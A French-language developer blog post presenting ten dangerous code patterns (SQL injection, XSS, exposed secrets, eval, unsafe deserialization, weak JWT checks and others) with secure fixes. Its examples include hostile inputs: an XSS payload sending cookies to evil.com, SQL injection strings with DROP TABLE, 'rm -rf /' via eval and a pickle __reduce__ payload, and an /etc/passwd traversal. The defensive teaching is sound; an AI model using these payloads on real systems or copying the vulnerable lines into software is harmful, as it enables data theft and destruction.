Les 10 Lignes de Code les Plus Dangereuses (Avec Exemples Réels)
Injection SQL, XSS, secrets exposés... Ces lignes de code innocentes peuvent détruire votre entreprise. Apprenez à les reconnaître.

title: "Les 10 Lignes de Code les Plus Dangereuses (Avec Exemples Réels)" description: "Injection SQL, XSS, secrets exposés... Ces lignes de code innocentes peuvent détruire votre entreprise. Apprenez à les reconnaître." date: "2025-12-10" author: name: "Mustapha Hamadi" role: "Développeur Full-Stack" image: "/avatar.jpg" tags: ["Sécurité", "Code", "Bonnes Pratiques"] category: "development" image: "/blog/10-lignes-code-dangereuses-hero.png" ogImage: "/blog/10-lignes-code-dangereuses-hero.png" featured: true published: true keywords: ["sécurité code", "failles sécurité", "injection SQL", "XSS", "vulnérabilités web", "code dangereux", "OWASP", "sécurité application", "bonnes pratiques sécurité", "hacking", "protection données", "cybersécurité"]
Les 10 Lignes de Code les Plus Dangereuses (Avec Exemples Réels)
Ces lignes de code semblent inoffensives. Certaines font moins de 50 caractères. Pourtant, chacune d'entre elles a causé des fuites de données massives, des pertes financières, ou des fermetures d'entreprises.
Je ne parle pas de théorie. Je parle de code que j'ai trouvé en audit, parfois en production depuis des années, attendant qu'un attaquant le découvre.
Cet article montre les 10 patterns les plus dangereux, explique pourquoi ils sont dangereux, et comment les corriger. Si vous êtes développeur, vous reconnaîtrez probablement certains de ces patterns dans votre propre code.
1. La Requête SQL Dynamique
Le Code Dangereux
// ❌ DANGER : Injection SQL
const query = `SELECT * FROM users WHERE email = '${email}'`;
db.execute(query);
Pourquoi C'est Dangereux
Si un attaquant entre ceci comme email :
' OR '1'='1' --
La requête devient :
SELECT * FROM users WHERE email = '' OR '1'='1' --'
Résultat : toute la base utilisateurs est exposée.
Pire, avec cette entrée :
'; DROP TABLE users; --
Votre table est supprimée.
Le Fix
// ✅ SÉCURISÉ : Requêtes paramétrées
const query = 'SELECT * FROM users WHERE email = ?';
db.execute(query, [email]);
// Ou avec un ORM (Prisma)
const user = await prisma.user.findUnique({
where: { email }
});
Cas Réel
Heartland Payment Systems (2008) : 130 millions de cartes bancaires volées via injection SQL. Coût estimé : 140 millions de dollars.
2. L'innerHTML Non Sanitisé
Le Code Dangereux
// ❌ DANGER : XSS (Cross-Site Scripting)
element.innerHTML = userInput;
Pourquoi C'est Dangereux
Si userInput contient :
<img src="x" onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
Le navigateur exécute ce script, envoyant les cookies de session à l'attaquant.
Le Fix
// ✅ SÉCURISÉ : textContent pour du texte
element.textContent = userInput;
// Ou sanitiser avec une librairie
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// En React, c'est sécurisé par défaut
return <div>{userInput}</div>;
// ⚠️ Sauf si vous faites ça :
return <div dangerouslySetInnerHTML={{ __html: userInput }} />; // DANGER
Cas Réel
MySpace (2005) : Le ver "Samy" a infecté 1 million de profils en 20 heures via XSS, ajoutant "Samy is my hero" sur chaque profil infecté.
3. Le Secret Dans Le Code
Le Code Dangereux
// ❌ DANGER : Secret exposé
const stripeKey = 'sk_live_abc123xyz789';
const dbPassword = 'SuperSecretP@ssw0rd!';
// Ou dans un fichier JSON committé
{
"apiKey": "AIzaSyD-xxxxx-xxxxx",
"secretKey": "very_secret_key"
}
Pourquoi C'est Dangereux
- Le code est souvent sur GitHub (même les repos "privés" peuvent être exposés)
- L'historique Git conserve tout, même après suppression
- Les builds/bundles peuvent exposer les variables
Le Fix
// ✅ SÉCURISÉ : Variables d'environnement
const stripeKey = process.env.STRIPE_SECRET_KEY;
// .env (jamais committé)
STRIPE_SECRET_KEY=sk_live_abc123xyz789
// .gitignore
.env
.env.local
.env.production
Outil de Détection
# Trouver les secrets dans votre repo
npx @secretlint/secretlint .
# Ou utiliser git-secrets
git secrets --scan
Cas Réel
Uber (2016) : 57 millions d'utilisateurs exposés parce qu'un développeur avait committé des credentials AWS sur GitHub.
4. L'Eval du Chaos
Le Code Dangereux
// ❌ DANGER : eval() avec entrée utilisateur
const result = eval(userInput);
// Variantes tout aussi dangereuses
new Function(userInput)();
setTimeout(userInput, 1000);
setInterval(userInput, 1000);
Pourquoi C'est Dangereux
eval() exécute n'importe quel code JavaScript. Si userInput vaut :
require('child_process').exec('rm -rf /')
Sur un serveur Node.js, c'est game over.
Le Fix
// ✅ SÉCURISÉ : Parser JSON explicitement
const data = JSON.parse(userInput);
// Pour des calculs
import { evaluate } from 'mathjs';
const result = evaluate(userInput); // Sécurisé, limité aux maths
// Pour du templating
// Utiliser un moteur de template sécurisé (Handlebars, EJS en mode sécurisé)
Règle d'Or
Si vous utilisez
eval(), vous faites probablement quelque chose de mal.
5. La Comparaison Lâche
Le Code Dangereux
// ❌ DANGER : == au lieu de ===
if (userRole == 'admin') {
grantAdminAccess();
}
// Bypass possible avec
userRole = ['admin'] // ['admin'] == 'admin' est true en JS !
// ❌ DANGER en PHP : encore pire
if ($password == $storedHash) { // Type juggling attack
login();
}
// Avec $password = 0 et $storedHash = "abc123"
// 0 == "abc123" est TRUE en PHP !
Pourquoi C'est Dangereux
JavaScript et PHP font de la "coercition de type" avec ==. Des valeurs différentes peuvent être considérées égales.
// Surprises JavaScript
0 == '' // true
0 == '0' // true
false == '0' // true
null == undefined // true
[] == false // true
[] == ![] // true (wtf)
Le Fix
// ✅ SÉCURISÉ : Toujours === (égalité stricte)
if (userRole === 'admin') {
grantAdminAccess();
}
// En PHP, utiliser ===
if ($password === $storedHash) {
login();
}
// Mieux : password_verify pour les mots de passe
if (password_verify($password, $storedHash)) {
login();
}
6. Le Path Traversal
Le Code Dangereux
// ❌ DANGER : Path traversal
const filePath = `./uploads/${req.params.filename}`;
const content = fs.readFileSync(filePath);
res.send(content);
Pourquoi C'est Dangereux
Si filename vaut ../../../etc/passwd :
./uploads/../../../etc/passwd → /etc/passwd
L'attaquant peut lire n'importe quel fichier sur le serveur.
Le Fix
// ✅ SÉCURISÉ : Valider et normaliser le chemin
import path from 'path';
const uploadsDir = path.resolve('./uploads');
const requestedPath = path.resolve(uploadsDir, req.params.filename);
// Vérifier que le chemin résolu est bien dans uploads
if (!requestedPath.startsWith(uploadsDir)) {
return res.status(403).send('Accès interdit');
}
const content = fs.readFileSync(requestedPath);
res.send(content);
Cas Réel
Ce type de vulnérabilité a permis de lire le code source de nombreuses applications, exposant d'autres failles.
7. Le Redirect Ouvert
Le Code Dangereux
// ❌ DANGER : Open redirect
app.get('/redirect', (req, res) => {
res.redirect(req.query.url);
});
// URL d'attaque :
// https://votresite.com/redirect?url=https://phishing.com
Pourquoi C'est Dangereux
L'attaquant peut utiliser votre domaine de confiance pour rediriger vers un site malveillant. Les victimes voient "votresite.com" et font confiance.
Parfait pour le phishing :
https://banque-securisee.com/redirect?url=https://banque-securisee-login.com
Le Fix
// ✅ SÉCURISÉ : Whitelist des destinations autorisées
const allowedDomains = ['votresite.com', 'app.votresite.com'];
app.get('/redirect', (req, res) => {
const url = new URL(req.query.url);
if (!allowedDomains.includes(url.hostname)) {
return res.status(400).send('Redirection non autorisée');
}
res.redirect(req.query.url);
});
// Ou utiliser des identifiants au lieu d'URLs
app.get('/redirect/:destination', (req, res) => {
const destinations = {
'dashboard': '/dashboard',
'profile': '/profile',
'external-partner': 'https://partner-autorisé.com'
};
const url = destinations[req.params.destination];
if (!url) return res.status(404).send('Destination inconnue');
res.redirect(url);
});
8. Le CORS Trop Permissif
Le Code Dangereux
// ❌ DANGER : CORS grand ouvert
app.use(cors({
origin: '*',
credentials: true
}));
// Ou dans les headers
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
Pourquoi C'est Dangereux
Avec origin: '*' et credentials: true, n'importe quel site peut faire des requêtes authentifiées vers votre API en utilisant les cookies de vos utilisateurs.
Scénario d'attaque :
- L'utilisateur est connecté sur
votresite.com - Il visite
malicious.comdans un autre onglet malicious.comfait une requête versvotresite.com/api/user/data- Le navigateur envoie les cookies → données volées
Le Fix
// ✅ SÉCURISÉ : Origins spécifiques
app.use(cors({
origin: ['https://votresite.com', 'https://app.votresite.com'],
credentials: true
}));
// Ou dynamique avec validation
app.use(cors({
origin: (origin, callback) => {
const allowedOrigins = ['https://votresite.com'];
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('CORS non autorisé'));
}
},
credentials: true
}));
9. La Sérialisation Non Sécurisée
Le Code Dangereux
# ❌ DANGER : pickle avec données non fiables (Python)
import pickle
data = pickle.loads(user_input)
# ❌ DANGER : unserialize en PHP
$data = unserialize($_POST['data']);
# ❌ DANGER : YAML non sécurisé
import yaml
data = yaml.load(user_input) # Par défaut, exécute du code !
Pourquoi C'est Dangereux
Ces fonctions peuvent exécuter du code arbitraire pendant la désérialisation.
Payload pickle malveillant :
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('rm -rf /',))
pickle.dumps(Exploit()) # Ce pickle exécutera rm -rf / à la désérialisation
Le Fix
# ✅ SÉCURISÉ : JSON (ne peut pas exécuter de code)
import json
data = json.loads(user_input)
# Si YAML nécessaire, utiliser safe_load
import yaml
data = yaml.safe_load(user_input)
# PHP : JSON au lieu de unserialize
$data = json_decode($_POST['data'], true);
10. Le JWT Sans Vérification
Le Code Dangereux
// ❌ DANGER : Décoder sans vérifier
const decoded = jwt.decode(token);
if (decoded.role === 'admin') {
grantAccess();
}
// ❌ DANGER : Algorithme "none" accepté
const decoded = jwt.verify(token, secret, { algorithms: ['HS256', 'none'] });
Pourquoi C'est Dangereux
jwt.decode() ne vérifie PAS la signature. N'importe qui peut créer un token avec role: 'admin'.
L'algorithme "none" permet de créer des tokens valides sans signature :
// Token forgé
{
"alg": "none"
}
.
{
"role": "admin",
"userId": "attacker"
}
.
// Pas de signature, et c'est accepté !
Le Fix
// ✅ SÉCURISÉ : Toujours verify(), jamais decode()
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'], // Whitelist explicite, jamais "none"
});
if (decoded.role === 'admin') {
grantAccess();
}
} catch (error) {
// Token invalide ou expiré
denyAccess();
}
Cas Réel
De nombreuses CVE ont été publiées pour des libs JWT qui acceptaient l'algorithme "none" par défaut.
Checklist de Sécurité Rapide
Avant de mettre en production, vérifiez :
Base de Données
- [ ] Requêtes paramétrées / ORM (pas de concaténation SQL)
- [ ] Principe du moindre privilège (utilisateur DB limité)
- [ ] Pas de credentials dans le code
Entrées Utilisateur
- [ ] Validation côté serveur (ne jamais faire confiance au client)
- [ ] Sanitisation avant affichage (XSS)
- [ ] Échappement contextuel (HTML, JS, SQL, URL)
Authentification
- [ ] Mots de passe hashés (bcrypt, argon2)
- [ ] JWT vérifié avec algorithme explicite
- [ ] Sessions avec expiration
Configuration
- [ ] CORS restrictif
- [ ] Headers de sécurité (CSP, X-Frame-Options, etc.)
- [ ] HTTPS obligatoire
- [ ] Pas de mode debug en prod
Fichiers
- [ ] Pas de path traversal
- [ ] Upload validé (type, taille, extension)
- [ ] Pas d'exécution de fichiers uploadés
Outils pour Détecter Ces Failles
# Analyse statique JavaScript/TypeScript
npx eslint --ext .js,.ts . --plugin security
# Audit des dépendances
npm audit
pnpm audit
# Scan de secrets
npx @secretlint/secretlint .
# Analyse de sécurité Python
pip install bandit
bandit -r .
# Scanner web (en mode test uniquement !)
# OWASP ZAP, Burp Suite
Conclusion
Ces 10 lignes de code représentent les patterns les plus dangereux et les plus courants. La bonne nouvelle : ils sont tous évitables avec de bonnes pratiques.
La sécurité n'est pas un produit, c'est un processus. Chaque ligne de code est une opportunité de créer une faille ou de la prévenir.
Mon conseil : Intégrez des outils d'analyse statique dans votre CI/CD. La plupart de ces failles peuvent être détectées automatiquement avant d'atteindre la production.
Et rappelez-vous : le coût de la prévention est toujours inférieur au coût d'une brèche.
Vous voulez un audit de sécurité de votre code ? Contactez Raicode — on trouve les failles avant les attaquants.
Prêt à lancer votre projet ?
Transformez vos idées en réalité avec un développeur passionné par la performance et le SEO. Discutons de votre projet dès aujourd'hui.

